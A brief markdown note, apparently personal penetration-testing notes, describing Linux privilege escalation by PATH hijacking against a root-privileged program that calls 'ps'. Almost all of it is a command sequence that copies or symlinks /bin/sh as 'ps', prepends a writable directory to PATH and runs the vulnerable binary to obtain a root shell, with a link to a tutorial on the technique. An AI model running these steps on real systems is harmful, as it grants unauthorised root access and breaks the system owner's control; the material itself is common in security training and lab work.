Privilege Escalation is possible with variable path

variable-path-privesc.md

We assume that ps is given a root permission and we can change the variable path to ps to /malicious/ps

cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami -> root

symlink is also do-able

ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

Reference : https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/